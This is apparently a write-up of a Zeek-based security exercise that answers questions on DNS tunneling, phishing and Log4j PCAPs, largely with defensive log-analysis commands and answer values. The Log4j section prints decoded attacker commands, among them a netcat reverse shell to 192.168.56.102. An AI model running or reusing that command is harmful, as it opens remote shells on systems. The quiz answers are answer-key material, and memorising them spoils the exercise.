Anomalous DNS
An alert triggered: ”Anomalous DNS Activity”.
The case was assigned to you. Inspect the PCAP and retrieve the artefacts to confirm this alert is a true positive.
Initializing Zeek:
1
2
zeek -v
sudo su
Question and Answers section:
- Investigate the
dns-tunneling.pcapfile. Investigate thedns.logfile. What is the number of DNS records linked to theIPv6 address? Note: A record relates to IPv4 while AAAA record relates to IPv6!
1
$ zeek -C -r dns-tunneling.pcap
Log files generated:
1
2
3
4
5
- conn.log
- dns.log
- http.log
- ntp.log
- packet_filter.log
Extracting important parts from dns.log:
1
$ cat dns.log | zeek-cut ts uid proto id.orig_h id.orig_p id.resp_h id.resp_p query qtype_name | sort -r | grep AAAA | wc -l
Output:
Answer: 320
- Investigate the
conn.logfile. What is the longest connection duration?
Command:
1
$ cat conn.log | zeek-cut duration | sort -r
Output:
1
- 9.420791
- Investigate the
dns.logfile. Filter all unique DNS queries. What is the number of unique domain queries?
Command:
1
$ cat dns.log | zeek-cut query | rev | cut -d '.' -f 1-2 | rev | sort -r | uniq
1
2
3
4
5
- The first 'rev' flips the domain relative to the y-axis
- The cut command splits the string when it sees the '.' delimiter and only keeping the first two fields separated by those two delimiter
- The second 'rev' command flips the domain relative to the y-axis again returning it back to its original 'word' state
- The 'sort' command sorts the dns queries in the list in a reverse alphabetical format
- The 'uniq' command removes all duplicates
Output:
1
- Answer is 6!
- There are a massive amount of DNS queries sent to the same domain. This is abnormal. Let’s find out which hosts are involved in this activity. Investigate the
conn.logfile. What is the IP address of the source host?
Command:
1
$ cat conn.log | zeek-cut ts uid id.orig_h id.orig_p id.resp_h id.resp_p proto service | sort -r | uniq
Output:
1
- Answer: 10.20.57.3
Phishing
An alert triggered: ”Phishing Attempt”.
The case was assigned to you. Inspect the PCAP and retrieve the artefacts to confirm this alert is a true positive.
- Investigate the logs. What is the suspicious source address? Enter your answer in defanged format.
1
$ zeek -C -r phishing.pcap hash-demo.zeek
- Investigate the
http.logfile. Which domain address were the malicious files downloaded from? Enter your answer in defanged format.
From http.log, knr.exe was downloaded from smart-fax.com
1
- This is suspicious because .exe files aren't normally sent via email.
- Investigate the malicious document in VirusTotal. What kind of file is associated with the malicious document?
1
$ zeek -C -r phishing.pcap hash-demo.zeek
1
$ cat files.log | zeek-cut md5 sha1 sha256
Output:
- Investigate the extracted malicious
.exefile. What is the given file name in Virustotal?
1
$ zeek -C -r phishing.pcap file-extract-demo.zeek
Extracted file types:
Extracted hashes:
- The
.exefile is a malware:
- Investigate the malicious
.exefile in VirusTotal. What is the contacted domain name? Enter your answer in defanged format.
1
- Answer: hopto[.]org
- Investigate the
http.logfile. What is the request name of the downloaded malicious.exefile?knr.exe
VT Links for all the three files extracted:
1
2
3
- '.exe' : [VirusTotal - File - 749e161661290e8a2d190b1a66469744127bc25bf46e5d0c6f2e835f4b92db18](https://www.virustotal.com/gui/file/749e161661290e8a2d190b1a66469744127bc25bf46e5d0c6f2e835f4b92db18/relations)
- '.doc' : [VirusTotal - File - f808229aa516ba134889f81cd699b8d246d46d796b55e13bee87435889a054fb](https://www.virustotal.com/gui/file/f808229aa516ba134889f81cd699b8d246d46d796b55e13bee87435889a054fb/details)
- '.txt' : [VirusTotal - File - 6137f8db2192e638e13610f75e73b9247c05f4706f0afd1fdb132d86de6b4012](https://www.virustotal.com/gui/file/6137f8db2192e638e13610f75e73b9247c05f4706f0afd1fdb132d86de6b4012/details)
Log4j
An alert triggered: ”Log4J Exploitation Attempt”.
The case was assigned to you. Inspect the PCAP and retrieve the artefacts to confirm this alert is a true positive.
- Investigate the
log4shell.pcapngfile withdetection-log4j.zeekscript. Investigate thesignature.logfile. What is the number of signature hits?
Command:
1
$ zeek -C -r log4shell.pcapng detection-log4j.zeek
Logs generated:
Signature hits:
- Investigate the
http.logfile. Which tool is used for scanning?nmap
- Investigate the
http.logfile. What is the extension of the exploit file?
1
- `.class`
- Investigate the
log4j.logfile. Decode the base64 commands. What is the name of the created file? Commands:
Decoded:
1
2
3
4
5
touch /tmp/pwned
which nc > /tmp/pwned
nc 192.168.56.102 80 -e /bin/sh -vvv
















